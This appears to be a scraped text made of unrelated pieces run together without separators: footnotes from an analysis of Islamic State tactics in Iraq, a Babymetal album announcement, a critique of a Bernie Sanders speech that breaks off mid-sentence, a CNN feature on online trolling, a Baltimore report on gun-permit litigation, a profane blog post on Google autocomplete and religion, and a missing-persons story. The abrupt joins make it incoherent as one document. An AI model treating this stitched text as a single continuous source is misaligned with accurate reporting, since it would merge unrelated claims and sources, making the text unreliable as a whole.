[13] See the Institute for the Study of War (ISW)’s daily updated Iraq Situation Report blog for a daily coverage of events in Iraqi since summer 2014.
[14] The ISF carried out 13 clearing sweeps of Jurf as-Sakhr between January 2014 and a final conclusive operation in October 2014. The Islamic State consistently chose to withdraw and re-infiltrate, with the area permanently cleared only when it was entirely depopulated and turned into a closed military zone. See “The Clearing Of Iraq’s Jurf Al-Sakhr, Babil And Its Impact,” Joel Wing, Musings on Iraq, January 15, 2015; and“Iraqi security forces and Kurds gain ground against Islamic State,” Ahmed Rasheed and Isabel Coles, Reuters, October 25, 2014. The Islamic State held Jalula and Saadiyah for months, but then collapsed its defense in a few days during November 2014 with under a hundred casualties by most estimates. See ISW Iraq Situation Reports for November 22-23 and November 24, “Jalawla heavily mined, most homes booby trapped,” Rudaw, November 25, 2014.
[15] “Iraqi security forces and Kurds gain ground against Islamic State,” Ahmed Rasheed and Isabel Coles, Reuters, October 25, 2014.
[16] See ISW Iraq Situation Reports for November 22-23 and November 24, “Jalawla heavily mined, most homes booby trapped,” Rudaw, November 25, 2014.
[17] In only one week period at the end of March, Islamic State demolished the 2nd Iraqi Army division headquarters at Camp Kindi, the Mosul Police Academy, Mosul Traffic Directorate, police stations, plus dozens of houses of ISF and Peshmerga members. See “The terrorist organization blew up the Traffic of Nineveh Directorate building in northern Mosul,” NINA, March 30, 2015; “ISIL terrorists steal contents of Police Academy, detonate it in Mosul” All Iraq News, March 24, 2015; “Daash blow up the headquarters of army Second north of Mosul” NINA, March 21, 2015; “IS blew up three police stations north of Mosul” NINA, March 28, 2015. Islamic State demolitions are remarkably widespread and must consume a significant proportion of the time of members who might otherwise be undertaking military operations.
[18] See “Operation to retake Tikrit from Islamic State stalled by heavy casualties, discord,” Mitchell Prothero, McClatchy, March 20, 2015, for an example of Islamic State’ defensive preparations encountered by the ISF during the operation to clear Tikrit. Islamic State made use of huge numbers of IEDs, booby-trapped buildings and small sniper and suicide attacker cells to slow the ISF advance and cause maximum casualties, but its stay-behind presence in the city (likely well under 750 fighters by the authors’ calculations of simultaneous daily engagements) was not intended to fight a prolonged, intensive urban battle.
[19] For a great account of the battle of the Baghdad belts see Michael R. Gordon and Bernard E. Trainor, The Endgame (New York: Pantheon Books, 2012), pp. 336-401.
[20] The “commuter insurgency” refers to an urban fight in which insurgents travel in each day, like suburban commuters, from support zones in the outskirts. Coined by U.S. forces in Iraq, the concept is explained further in David Kilcullen, The Accidental Guerrilla: Fighting Small Wars in the Midst of a Big One (Oxford: Oxford University Press, 2009), p. 142.
[21] For an account of the Ramadi battle’s first three months see Michael Knights, “The ISIL’s Stand in the Ramadi-Falluja Corridor,” CTC Sentinel 7:5 (2014).
[22] See “ISIS Offensives in Ramadi City and Al-Asad Airbase in Al-Anbar, Iraq,” Jessica Lewis, Ahmed Ali, and Sinan Adnan, December 24, 2014.
[23] See “Kurdish Forces Show The Strain Of The ISIS Fight,” Mike Giglio, February 19, 2015.
[24] “Islamic State recapture parts of northern refinery city Baiji,” Reuters, December 17, 2015. An ISF column punched through Bayji in November 2014 to relieve the besieged Bayji refinery clearing the neighborhoods along the main urban area. The Islamic State withdrew to the peripheries and in December reinfiltrated the city, overrunning several isolated ISF positions. At the time of writing IS in control of some 80% of Bayji, with ISF confined to holding a corridor along the central road axis.
[25] For a detailed overview of ISIL’s extensive use of IED minefields see “The Hidden Enemy In Iraq,” Mike Giglio, March 19, 2015.
[26] In Mosul residents are kept in by a security trench that channels movement to vehicle check points, where persons leaving are forced to give the names of friends or relatives as hostages who may be harmed if they do not return. Residents also fear that may permanently lose their property if they leave the city. See “How to Retake Mosul From the Islamic State,” Michael Knights and Michael Pregent, February 27, 2015.
[27] See “Mosul residents prepare for battle,” Saleh Elias, March 13, 2015.
[28] For an excellent overview of ISIL’s operational art, command and control and mission-type tactics see “How to defeat Islamic State’s war machine,” Metin Gurcan, al-Monitor, October 14, 2014.
[29] The authors’ phrase to sum-up the Islamic State’s restless patrolling and attacking actions along the frontline.
[30] “U.S. officials say 6,000 ISIS fighters killed in battles,” Barbara Starr, CNN, January 22, 2015. We discuss this casualty metric later in this piece.
[31] See W.J.K Davies, German Army Handbook 1939-1945 (London: Purnell, 1973).
[32] See Paddy Griffith, Battle Tactics of the Western Front: The British Army’s Art of the Attack 1916-1918 (New Haven: Yale University Press, 1994), pp. 32, 194
[33] This impression was gained during months of open-source reporting and imagery analysis plus interviews. Michael Knights, multiple personal interviews, Iraqi and Peshmerga leadership, June to March 2015.
[34] Examples include the recent Kurdish offensives at Aski Mosul (January 21, 2015) and Kirkuk (March 9, 2015) which both involved Kurdish brigades fighting in line abreast, with no unguarded flanks or gaps between units.
[35] The ISIL attacks struck at Sinjar, Aski Mosul, Baqufa/Tall Asqof, Fasiliyah/Mt Bashiqa, Quban/Mt Bashiqa, Hassan Shami, Makhmour peninsula (Tall Shair, Sultan Abdullah, Jarallah, Tall al-Reem). Attacks in the Badush area and Mt. Zartak east of Mosul were disrupted by airstrikes before they commenced. See Horizon Client Access, Northern KRG Security Threat Triggers, November 17-23, 2014 (subscriber service available via www.hcaccess.com ).
[36] Ibid. See “(22) Elements of the IS killed by Coalition planes bombing to the outskirts of Sinjar,” NINA, February 16, 2015; “Coalition shells ISIS-held bridge on eastern Tigris River” Rudaw February 21, 2015; “Peshmerga forces repulse the IS attacks north of Mosul” NINA February 21, 2015; “Warplanes pound ISIS group near Mount Zartak” Rudaw February 20, 2015; “Warplanes blast ISIS positions in Kirkuk, Mekhmour” Rudaw February 17, 2015.
[37] This concept, adapted slightly here, describes the belief that the power of offensive action is so decisive that static defence is almost never adopted, regardless of local circumstances. For a good review of the issue see Jack. L Snyder, The Ideology of the Offensive: Military Decision Making and the Disasters of 1914 (Ithaca: Cornell University Press, 1984).
[38] Between March 29 and April 6, 2015, the Islamic State launched at least six SVBIEDs at ISF positions in the Hamrin oil field (footage of Hamrin SVBIED utilizing a captured ISF M113 APC). IS threw numerous SVBIEDs at the ISF in Tikrit and the surrounding areas during recent operations to clear the city, see “Casualties Increase In Iraq Due To Tikrit Operation,” Joel Wing, Musings on Iraq, April 2, 2015.
[39] See Isabel Coles, “Kurdish forces squeeze Islamic State supply line in northern Iraq,” Reuters, January 21, 2015, “Peshmerga Kills Over 200 IS Militants in East Mosul Operation,” BasNews, January 21, 2015. Video footage of the destruction of several SVBIEDs by Peshmerga anti-tank guided missiles.
[40] “Peshmerga Respond to Islamic State Attacks in Zumar” Basnews January 11, 2015;”ISIL launches fierce attacks across Iraq” al-Jazeera, January 15, 2015; “Kurdish official: Daash suffered 125 killed in Qwayer battles,” NINA January 11, 2015, “Kidnapped Civilians Freed by Peshmerga in Gwer,” BasNews, January 12, 2015;“ISIS Assault on “Gwer: Shaikh Serwan Barzani and His Team Ran a Way, 70 Reported Killed or Missing,” Millet January 10, 2015. IS video footage of the Gwer attacks
[41] “In heaviest fighting since August, Kurds turn back Islamic State assault near Irbil,” Mitchell Prother, McClatchy, January 11, 2015; IS footage of the Gwer attacks
[42] Ibid.
[43] Since January 2015 Coalition airstrikes have pounded exposed Islamic State forces holding the Makhmour front including pinpoint close air support on frontline Islamic State vehicles and positions, Islamic State concentrations massing for attacks, and rear-area support infrastructure sustaining the front. See “The International Coalition bombed a gathering to the IS “in Tal al-Sha’ir village in al-Qayyarah district in Nineveh” NINA March 11, 2015; and “Coalition aircraft bomb ISIL hideouts in Gwer sun-district” PUK Media February 20, 2015.
[44] For a thorough account of this operation see Charles B. MacDonald, The Battle of the Bulge (London: George Weidenfeld & Nicholson, 1984).
[45] IS video releases show motivated, predominately young, 20–40 man groups—the size of an old Iraqi army platoon—making their military reputations with daring attacks. Foreign fighters and suicide and SVBIED operatives are also prominently featured. For two recent examples see footage of the complex assault on Peshmerga positions near Kirkuk in “Raiding the Barracks of the Peshmerga #2 – Wilayat Kirkuk,” Jihadology, April 11, 2015, and the raid on a Zerevani outpost in Kisik area, “Storming the Barracks of the Peshmerga in the Area of Shandukhah – Wilayat al-Jazirah,” Jihadology, April 5, 2015.
[46] The Gwer raid video footage makes good propaganda use of captured ISF Humvees and advanced weapons systems, such as a captured 155mm M198 howitzer, to create the image of formidable, well-armed military force. IS deliberately emphasizes operations with high propaganda value versus statistically far more numerous, run-of the mill IED attacks, indirect-fire harassment and small-unit ambushes, which in fact inflict the majority of ISF and Peshmerga casualties.
[47] See the same video footage cited above, for an excellent example of this: footage of the complex assault on Pesh positions near Kirkuk “Raiding the Barracks of the Peshmerga #2 – Wilayat Kirkuk,” Jihadology, April 11, 2015, and video of the raid on a Zerevani outpost in Kisik area, “Storming the Barracks of the Peshmerga in the Area of Shandukhah – Wilayat al-Jazirah,” Jihadology, April 5, 2015.
[48] On January 11,2015 Islamic State took advantage of poor weather conditions to stage a boat-borne infiltration attack across the Zab river at Gwer southeast of Mosul. They were able to control the town and its vital Mosul-Erbil highway bridge for several hours, killing 25 rear-area Asayesh security force personnel in one of the deadliest single attacks on Peshmerga forces since the fall of Mosul.
[49] Ibid. The January 11 boat-borne raid on Gwer is a prime example. Islamic State undertook a night attack, also taking advantage of fog and bad weather to infiltrate across the river and achieve complete tactical surprise.
[50] Michael Knights, personal group interview, Peshmerga lieutenant and Peshmerga private soldiers, Maktab Khalid, Kirkuk, March 8, 2015.
[51] For instance Peshmerga advances at Khazr, Aski Mosul, and Kirkuk have taken place despite frequent ISIL raids on the frontline. Where the Kurds are not attacking—Makhmour, Sinjar, Bashiqa—it is because they have chosen not to attack further.
[52] See Chris Woods, US & allied airstrikes Iraq 2014-15: Dataset maintained by freelance reporter Chris Woods
[53] Targeting data showed that of the strikes, around a quarter were programmed strikes aimed at low-lethality fixed targets (buildings, often empty). The remainder (1,300–1,500 strikes by late January 2015) were dynamic targets where very careful real-time positive identification was possible because enemy units were undertaking military activity, creating high potential for multiple enemy casualties. An average of around four fatalities per strike (1,500 times four) would give 6,000 fatalities from airstrikes alone, hardly unimaginable considering the fact that Western controllers had eyes-on most IS targets until the moment of weapon impact.
[54] Six thousand divided by 24 weeks, as of January 22, 2015, gives an average of 250 fatalities a week.
[55] ISIL’s defensive system of IEDs, snipers, and extensively booby-trapped buildings successfully absorbed and repulsed an assault on Tikrit in mid-March by Popular Mobilization Units (PMUs), but rapidly collapsed in early April under a multi-pronged push into the city by Iraqi Special Forces (ISOF) and battle-hardened federal police backed by Coalition air support. See “Divisions Over Iraq War Exposed In Victory In Tikrit,” Joel Wing, Musings on Iraq, April 6, 2015.
[56] See “How to Retake Mosul From the Islamic State,” Foreign Policy. Michael Knights and Michael Pregent, February 27, 2015.
[57] “Iraqi prime minister claims victory against Islamic State in Tikrit,” Loveday Morris, Washington Post, March 31, 2015.
[58] “CENTCOM Outlines Battle for Mosul, Doubles Estimate for IS Dead,” Paul McLeary, Defense News, February 19, 2015.
[59] For a great account of the neglect of Mosul see Joel Rayburn, Iraq after America: Strongmen, Sectarians, Resistance The Great Unraveling: the Remaking of the Middle East, Hoover Institution Press Publication; No. 643, August 1, 2014, pp. 137-162.
[60] Human Rights Watch, “After Liberation Came Destruction: Iraqi Militias and the Aftermath of Amerli,” March 18, 2015.
[61] See footnote 17 for examples of the Mosul demolitions.
[62] The current situation in Diyala province, which the Iraqi government declared cleared in January 2015, is a cautionary example. ISF cleared IS from its urban stronghold in Jalula/Saadiyah in November 2014, but the insurgents merely dispersed and regrouped in rural sanctuaries along the middle Diyala river valley and their historic support zones south of Balad Ruz, with the result that overall insurgent activity in Diyala has not measurably declined since November 2014.Babymetal have a new album coming out in 2016, the band has announced.
The group revealed the news at a concert in front of 17,000 people at the Yokohama Arena in Japan.
Their second studio album will be released worldwide on 1 April, on what the band is calling Fox Day, following a "prophesy by the Fox God".
The following day, 2 April, Babymetal will perform at London's Wembley Arena in what will be their biggest ever European show.
That gig will kick off the band's 2016 world tour, ending at the Tokyo Dome in Japan - a venue which has a capacity of 55,000.
More related stories Did Babymetal invent 'cute metal'?
"I will be putting my everything into the production of our upcoming album because I believe that many of you are waiting for it," vocalist Su-metal says.
"We are looking forward to meeting our fans abroad again next year at Wembley Arena right after the release of our second album, so you can expect to hear our new songs for the very first time live there."
Babymetal's form of "cute metal" has been causing a stir in the world of heavy metal for the past two years.
The trio, Suzuka Nakamoto (Su-metal), 17, and 16-year-olds Moa Kikuchi (Moametal) and Yui Mizuno (Yuimetal) were chosen by a talent agency to form the "heavy music club" and the band was born.
Instead of using the sign of the horns, like other heavy metal bands, Babymetal make a sign of a fox.
This year has seen them win multiple awards, including breakthrough act at the Metal Hammer Golden Gods, a Kerrang Award and Vogue Japan's women of the year.
For more stories like this one you can now download the BBC Newsbeat app straight to your device. For iPhone go here. For Android go hereMore options: Share, Mark as favorite
So Bernie Sanders gave his big speech on “democratic socialism.”
Where to begin?
Here are three things that immediately grabbed my attention, really the core of his indictment of market capitalism:
1) Sanders said the “reality is that for the last 40 years the great middle class of this country has been in decline,” something which certainly isn’t statistically true. Middle-income living standards have actually risen by something like 40-50%. Even the New York Times has noted how the middle class, at least through 2000, only got smaller “because of more Americans climbing the economic ladder into upper-income brackets.” And as Obama White House economist Jason Furman said before he became an Obama White House economist, ” … people are substantially better off than they were 30 years ago.”
2) Sanders said “that in a democratic, civilized society the wealthiest people and the largest corporations must pay their fair share of taxes.” Yet the Tax Foundation noted today that the top 1% earned nearly a fifth of national income but paid nearly 40% of the federal income taxes. The TF also found |
, the trolls still grabbed their attention. For the Russian propagandists, that in itself was a win.
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In the end, the troll strategy was an export of methods Russia has used for years domestically to get citizens to see themselves not as part of a nation but as members of smaller ethnic and identity-based groups, and play all sides against each other.
"They want us fighting among ourselves," said McFaul, the former ambassador. "Then we're distracted. We're not talking about Syria. We're not talking about American leadership. We're questioning whether democracy will survive. We're less of a player internationally — and that's good for Russia."Story highlights "Trolling" as a term first used on Usenet boards in late 1980s, says Whitney Phillips
Anonymous users of 4chan brought trolls to prominence in mid-2000s
Trolling behaviors, motivations extremely difficult to taxonomize, says Phillips
Proposed laws to curtail cyber-abuse have drawn cries of censorship from critics
Curtis Woodhouse earns a living punching people in the face, so it's fair to say he's one of the last men you'd hurl insults at if you saw him on the street.
But people tend to be a bit braver once they don the anonymity cloak the internet provides, and the 32 year-old English boxing champ faced a flurry of ugly abuse from trolls online after he lost his most recent bout in March.
One particular troll, @Jimmyob88, had been harassing the boxer in tweets and in direct messages for six months, according to Woodhouse. "He'd threatened my children saying 'be careful where you send them to school,' he threatened my wife. He'd written me saying he hoped I'd die in my next fight so I could go and see my dead dad... it just went on and on."
But after the bully branded the boxer a "disgrace" and a "complete joke" and urged him to retire following his fight last month, Woodhouse finally snapped and, rather than trade blows online, he used Twitter to turn the tables on his troll.
"I wasn't going to beat him up or anything," Woodhouse told CNN. "I was going to knock on his door and say 'listen, this stops today -- I'm not going to put up with this abuse, you have no right to abuse me and my family.'"
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"I put the address into my sat-nav and it said I was 47 miles away from my house to his house. So that's when I put the wheels in motion, sent him a message saying 'I know who you are, I know where you live, and I'm on my way.'"
Woodhouse hopped into his car and headed from Hull, in northeast England, to Sheffield, updating his followers on Twitter as he drove. O'Brien continued heckling him at first, perhaps not believing the boxer was actually en route, but that all stopped when Woodhouse wheeled onto his road and posted a photo of his street sign online.
Woodhouse tweeted: "right Jimbob im here!!!!! someone tell me what number he lives at, or do I have to knock on every door".
As it turns out, O'Brien wasn't at home at the time, but he quickly apologized to Woodhouse : "@jimmyob88: @woodhousecurtis i am sorry its getting abit out of hand i am in the wrong i accept that".
Woodhouse headed home, satisfied. "The whole world saw him for what he really was, which was a coward and a bully, and the way I saw it, my job there was done."
Twitter antagonists like O'Brien are a relatively new breed of online "troll" -- people who post abusive content online with the aim of offending or provoking someone else into a reaction -- but cyberspace bullies have been around as long as the internet itself.
In the late 1980s, Usenet users began using the word "troll" to describe someone who deliberately disrupted online discussions in order to stir up controversy, according to Whitney Phillips, a New York University lecturer who is currently writing a book on trolling behavior.
"'Troll' was a name you called someone else," she told CNN. "More frequently you reacted to being 'trolled' than you identified yourself as a troll."
Phillips says it wasn't until the mid-2000s when the predominantly anonymous users of 4chan -- the website CNN once described as "one of the seedier, darker corners of the Internet" -- began to describe themselves as trolls.
As the freewheeling site's controversial "/b/" board rose to prominence, garnering media attention for everything from LOLcats and Rickrolling to allegations its users were exchanging child pornography, "trolling" evolved into an unwieldy umbrella term that Phillips believes is preventing us from considering the wide range of behaviors the word now describes.
"You can't easily taxonomize trolling behavior," she said. "A lot of trolling is about mischief and harmless, silly pranks. But really extreme behavior -- attacking friends and families of kids who have died, for example -- that seems to be a behavior with a different motivation."
In April of this year Rehtaeh Parsons, a 17-year-old high school student from Nova Scotia, hanged herself after a photo of her allegedly being gang-raped by four boys was posted online. But the abuse continued long after Parsons died.
Facebook memorial page created for Parsons after her suicide was targeted by trolls, one of whom wrote: "lol, teach your kids not to be huge p****es and they'll take care of anyone who's bullying them." Another wrote: "She wasn't bullied for being a rape victim, she was bullied for being a sl*t, which she was."
The comment section on one of CNN.com's stories about Parsons was flooded with a similar flavor of bile. Within hours of the story being published, a user called "Cookie Monster" wrote "Thank god she got justice" and told another commenter to stop "acting like a 12 year old cancer patient" -- and these were some of the less grim offerings on the page.
So what kind of person trolls strangers online? Jerry Holkins and Mike Krahulik, creators of the Penny Arcade webcomic, offer up an explanation known as John Gabriel's Greater Internet F**kwad Theory, consisting of the following equation: "Normal Person + Anonymity + Audience = Total F**kwad".
The math may a bit fuzzy, but there's something to that equation. The anonymity users have on the internet is a big factor in the "online disinhibition effect," which Rider University psychology professor John Suler says enables people to say things to each other online that they wouldn't say in person.
"Without face-to-face presence, a potential troll is more likely to perceive others as a 'target' rather than a real human being," he told CNN.
If anonymity is one factor, psychological and emotional issues are another, according to Suler, who says many trolls likely have problems with depression, low self-esteem, and anger.
"They want to inject their own emotional turmoil into other people by luring them into negativity. It's a way for them to feel some kind of control or power over their own disruptive emotions, at other people's expense."
While Whitney Phillips agrees that anonymity plays a role in someone's propensity to spew bile down Facebook walls, Twitter pages and news website comment boards, she says the bile was there first, just waiting to be hurled out at unsuspecting passers-by in cyberspace.
"The problem with blaming anonymity is that it assumes people are only horrible anonymously. Search a racial slur plus Obama on the internet and you'll see more people than is reasonable who are perfectly happy being disgusting bigots under their own name."
Is it possible to separate your online behavior from who you really are? Many trolls reject any relation between their profiles on the Web and their real life personas, according to Phillips, and say they are merely performing in order torment their targets "for the lulz," or to teach people a lesson.
"Some trolls think that spending your time posting condolence messages on Facebook to someone you've never met is weird, and grounds for being trolled. They think they're teaching people a lesson, teaching people how to behave online."
Ultimately, Phillips says, it's impossible to definitively say what makes trolls tick when you don't have any demographic details about them. "We can't very easily or in any kind of verifiable fashion sit a troll down and ask him what is in his heart, and if you could he would lie. They would tell you some bulls**t about what's in their heart."
No one Phillips interviewed was willing to speak for publication -- her trolls are mostly done with speaking to the media, she says -- but CNN has its own stable of comment board trolls, a handful of whom answered questions via email for this article. An email address is all users need in order to post comments on CNN.com, so it is impossible to confirm their identities or the veracity of their remarks.
"GG" declined to give her real name but described herself as an American thirtysomething with a finance degree who trolls CNN's comment pages in tandem with at least a dozen other users -- "engineers, professionals, mothers, fathers and at least one grandpa," she said.
As far as comment trolls go, GG's posts -- which she says number in the thousands -- are relatively tame: Jokes about oral sex on a story about a sinkhole which swallowed up a man in Florida in March; dreams of Anne Hathaway being "impaled on wooden stakes and set on fire" on a story about the actress.
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"We mostly deal in humor," GG told CNN. "It's a creative outlet to exercise wit, blow off steam, deal with boredom and (it) provides entertainment."
Another troll, "MK", explained: "The belief that anyone truly cares about other people's opinions on an online forum is ludicrous. It's arrogant and needs to be checked." "RR" wrote: "I do it because it makes me giggle. Fellow trolls make me laugh. Some of the terrible things that happen every day should be muted with humor."
GG says her friends don't post on stories involving children dying. "There was a group moratorium on any posts regarding Sandy Hook... There are certain topics which are just not funny."
Funny or not, there is evidence to suggest that comment trolling is preventing us from thinking rationally about the stories we read online.
In a recent study, University of Wisconsin-Madison researchers asked more than 1,000 people to read a blog post about nanosilver technology. Half of the participants were exposed to civilized reader comments on the post, and the other half were subjected to profanity-laden screeds and putdowns.
"The results were both surprising and disturbing," researchers Dominique Brossard and Dietram Scheufele wrote in the New York Times. "Uncivil comments not only polarized readers, but they often changed a participant's interpretation of the news story itself."
Scheufele told Mother Jones that reading a story online today is like "reading the news article in the middle of the town square, with people screaming in my ear what I should believe about it."
So what can be done to keep the trolls at bay? Where is the line between trolling and harassment? While most trolling behavior isn't of a criminal nature, many countries' harassment laws extend to cyberspace, and a handful of bullies have been jailed recently for crossing that line in the eyes of judges.
In October a judge handed down a 12-week prison sentence to David Woods for posting sexually explicit remarks on his Facebook page about April Jones, a five-year old girl who went missing in Wales.
British student Liam Stacey was also jailed last year for 56 days for posting racially abusive tweets about Bolton footballer Fabrice Muamba after the player went into cardiac arrest during a match. As Muamba lay struggling for life on the pitch, Stacey tweeted "LOL f**k Muamba he's dead!!! #Haha" and followed it up with a handful of racist posts aimed at other users.
Did Stacey's punishment fit the crime or was it over the top? And where should we draw the line between free speech, censorship and privacy?
Britain's politicians are considering new laws that would require websites to reveal the identities of trolls who have posted defamatory content about other people online.
In Italy prosecutors aren't only going after cyber-bullies, they're also threatening action against the social media sites themselves.
The January suicide of 14-year-old Carolina Picchio, who threw herself out of her bedroom window in Novara after a group of boys posted a video of her in the bathroom of a party, has prompted Italian authorities to consider bringing charges against Facebook staff for allowing the abusive content to be posted on the website, according to media reports.
In May, bowing to pressure from activists and advertisers, Facebook announced plans to ramp up efforts to delete hate speech, particularly depictions of violence against women, on its site.
"In recent days, it has become clear that our systems to identify and remove hate speech have failed to work as effectively as we would like, particularly around issues of gender-based hate," Marne Levine, a Facebook vice president in charge of public policy, wrote in a post on the site.
Stamping out serious abuse on sites like Facebook may be a step in the right direction -- but any law aimed at curbing online trolling runs the risk of casting a net so wide that it snares non-trolling behaviors as well, say critics.
"There are a number of online behaviors that are annoying, but do you really want to illegalize annoying behavior?" asks lecturer Whitney Phillips. "The push to illegalize these poorly defined behaviors isn't actually addressing the root issues of trolling."
David Aaronovitch of The Times newspaper in London says most online abuse would go away if we simply pulled away the cloak of anonymity that emboldens trolls.
"If you're not going to moderate comments on your site, insist on registration and lack of anonymity," he told CNN. "If you had to register under your own name and comment under your own name, who's going to be a s**tbag under those circumstances?"
CNN troll GG wouldn't, for one. "Of course not," she told me, "Who would risk a 6 figure salary on the chance that your employer disagrees with your opinion or off-hours activities? No one."
At the end of the day, the best way to deal with trolls is to simply ignore them, says Aaronovitch.
"You simply have to decide how much attention you want to give them, and grow up really," he said. "It's about saying, 'How threatened am I really by this?' and reserving your ire for the cases when there really is some serious harassment going on."
Whatever you do, hopping in your car and driving to your troll's house may not solve all of your problems, as boxer Curtis Woodhouse found out.
"Ever since I did that the abuse has been 10 times worse," he said with a laugh. "Now I've got people saying, 'If I call you a crap boxer, will you come round my house for a cup of tea?'"The Baltimore County burglar who helped trigger an ongoing constitutional challenge to Maryland's handgun laws shot himself to death, police said, after he assaulted his estranged wife and beat his parents with a pipe.
Police found Kris Lee Abbott dead Monday in his Hampstead home, where police said he had barricaded himself after a domestic dispute.
An earlier confrontation made Abbott a key figure in the challenge to the state handgun law. In 2002 he broke into the home of his father-in-law, Raymond Woollard, who then sought a concealed-weapon permit for protection from Abbott. When Woollard was denied the permit — authorities said he had not shown a direct threat — he sued the state. Abbott pleaded guilty to third-degree burglary in 2003 in connection with the incident.
News of Abbott's death sparked a renewed debate over Maryland's handgun laws.
"Obviously the state has no clue when crime might occur or who might suddenly find themselves facing a violent criminal. That's why the Second Amendment prepares us," said Alan Gura, Woollard's attorney.
The Washington-based Second Amendment Foundation took on the case, arguing that Maryland unnecessarily restricts the right to carry firearms. A federal district judge agreed, striking down as unconstitutional the requirement that a permit seeker show state police a "good and substantial reason" to carry a gun.
But in March, a federal appeals court reversed the decision and upheld Maryland's handgun permit law. Gura said he has asked the U.S. Supreme Court to review the case.
Cody Jacobs, a staff attorney with the Law Center to Prevent Gun Violence, said the latest incident does "not change our position that law enforcement should have discretion" to decide who has the right to carry a gun in public. He said the state's law is reasonable.
Police were called about 6:20 p.m. Monday to the house in the 4400 block of Mount Carmel Road for an "unknown trouble call." After a standoff, tactical officers found Abbott about 10:30 p.m. They also recovered a rifle.
Investigators determined that Abbott had been involved in a domestic dispute with his estranged wife, Dawn Abbott, 45, and his parents, Russell Abbott, 78, and Virginia Abbott, 76.
During the dispute, police said, he pushed Dawn Abbott to the ground, damaged a vehicle with a metal pipe, and then used the pipe to assault both of his parents.
After the attack, all three victims ran to a nearby residence, and Kris Abbott barricaded himself inside his home, police said.
Virginia Abbott, of the 5100 block of Byerly Road in Upperco, was flown to the Maryland Shock Trauma Center with serious injuries, police said. A hospital spokeswoman said Abbott was released Tuesday.
Neither her husband nor Dawn Abbott was transported for hospital treatment. They could not be reached for comment.
Alan Brody, a spokesman for the Maryland attorney general's office, said the incident is not relevant to the Woollard case. "That case is still in the court system," he said, but declined to comment further.
Vincent DeMarco, president of Marylanders to Prevent Gun Violence, said, "The courts upheld Maryland law, and Maryland law is keeping Marylanders safe. We should retain it."
Regardless of this week's incident, Patrick Shomo, president of Maryland Shall Issue, a nonprofit based in Annapolis that works to preserve gun owners' rights, remains convinced that the state law is overly restrictive.
"It is somewhat irrelevant from a constructional standpoint," he said of the Monday shooting. "Our argument all along had been, you might not like the Second Amendment but respect the law."
He said a right to carry permit should not be dependent upon one's ability to prove a threatening circumstance.
"People need the ability to protect themselves and their family," he said.
State Del. Nicholaus Kipke, a Republican from Anne Arundel County and the House minority leader, said the fact that Abbott had access to a gun shows that gun restrictions are not a cure for violence.
"People have a right to self-defense," said Kipke, who earlier this year gave an NRA membership to a student who was suspended for biting a pastry into the shape of a gun. "Increasing gun laws creates a false sense of security."
County police spokeswoman Elise Armacost said the county is still investigating the ownership of the rifle Abbott used to shoot himself.
His body has been taken for autopsy at the state's chief medical examiner's office.
Police said no motive or cause for the dispute was immediately available.
Baltimore Sun reporter Kevin Rector contributed to this article.
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There really isn’t any other service in the history of the world that has more accurately or extensively aggregated the collective statements, expressions, biases, fears, and desires of mankind at a particular point in time as Google.
Thus, based on what I found this morning and posted below, we have to conclude that the human race, in general, thinks that religion is, in a word, bullshit.
First, let’s look at the world’s most hot button religion at the present time and its stated Western adversary:
Yep, apparently we collectively consider both to be bullshit, as well as “from satan”, “of the devil”, and “false” for Islam (along with a few nice descriptors, to be fair) and “not a religion”, “a lie, and “false” for Christianity (along with only one nice description that rather unconvincingly, when lumped in with so many other pejorative terms, claims it is “true”).
Random thought: What does it mean that Islam is also considered to be “Google”? Not “like Google” but simply “Google”. “Islam is Google” it says. Does this mean Google cannot build a data center a few blocks away from Ground Zero? Because that would suck. But I digress…
It’s not just Christianity and Islam that feel Google’s wrath. Here are a few other religions that the search giant also tells us are considered to be bullshit by the masses in varying degrees.
See, we are equal opportunity haters according to Google. Mormons, Buddhists, and Catholics also apparently practice bullshit religions.
In fact, Google just straight up tells us that we think religion, in general, is bullshit.
Interestingly though, a couple of the world’s most well known religions do not suffer the wrath of our collective prejudice, at least as cataloged by Google.
Judaism (which, if you’ll remember, is the father of Christianity and Mormonism and countless others) and Hinduism are spared:
Sure, both are described as “false”, but that’s much better than being called “bullshit”. I anticipate that the anti-Semites among us will chalk this up to a Jewish conspiracy to control Google’s search suggest tool, but such ignorance is to be expected.
Actually, in this case, Google is spot on; the first suggestion for “Judaism is” turns out to be “a race.” This is correct based on history. Judaism is actually a race and a religion, and the lines between the two are too blurred to ever be demarcated. Unfortunately, the next suggestion is “not a race”, which pretty sums up the polarization of almost every religious debate in the world’s history.
So here is my final thought with this post: there have been so many religious debates, so many wars, and so many deaths in the name of religion. Yet, Google tells us that the overwhelming world opinion of religion is that it is bullshit, wrong, a lie, a cult, etc.
So tell me again why so much death and destruction has been caused by something so many people obviously disagree with?
Fuck. That can’t be good.Friends and family of a Texas man and woman are baffled as to what happened to the pair, who went missing after attending a concert in Austin. According to Fox 26 News, the search for them concluded Wednesday night but is expected to begin again on Thursday morning.
KPRC 2 News reports that friends Sidney Taylor and Krislyn Gibson, both 35, vanished sometime between Saturday, April 2, and Tuesday, April 5, after last being seen together in Austin, according to Houston Police. Authorities indicate that Sidney and Krislyn left Houston on Friday and subsequently arrived in Austin to attend the Urban Music Festival for the entire weekend.
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Late Friday night, the pair went to a local Austin nightclub and have not been seen since. The search effort for Sidney and Krislyn includes both the Austin and Houston Police Departments, as well as Texas Equusearch, which has over 20 people assisting in the quest to the find the couple, reports ABC 13 News.
Austin authorities initially started the investigation, but Houston law enforcement joined the effort after Sidney’s vehicle, a Dodge Charger, was discovered in midtown Houston, according to ABC 13 News.
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Fox 26 News reports Equusearch was asked to take part in the investigation after a ping from Sidney’s cell phone was found to have come from west Harris County. ABC 13 News reports a GPS locator indicated the ping came from near Bear Creek Park in Houston.
According to ABC 13 News, Tim Miller with Equusearch said regarding the missing friends:
“They went to a club that night and never made it back to the friend’s house where they were going to spend the night at, so their clothes and everything is still at their friend’s house.”
KPRC 2 News reports that the two left Sidney’s cousin’s home to head to a nightclub.
Miller told Fox 26 News, “They’ve got them on surveillance leaving this club, and were going to spend the night at a friend’s house ten minutes away…”
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One friend, Calvin Davis, told Fox 26 News, “Something had to be foul play somewhere.” Davis stated that he and Sidney had roomed together in college for two years and that Krislyn was part of their group of friends. According to Davis, Sidney and Krislyn had a platonic relationship and were not romantically involved, reports Fox 26 News.
Davis also said that Krislyn is a single mother of one son, while Sidney is married with four children, so he typically stays in frequent contact with his family, as well as his friends, according to Fox 26 News. Davis further added:
“It has just been too long, and he just loves us too much to make us worry like that… It’s all kind of surreal, because they were doing things all the right way. To just come up missing is something that has us all puzzled.”
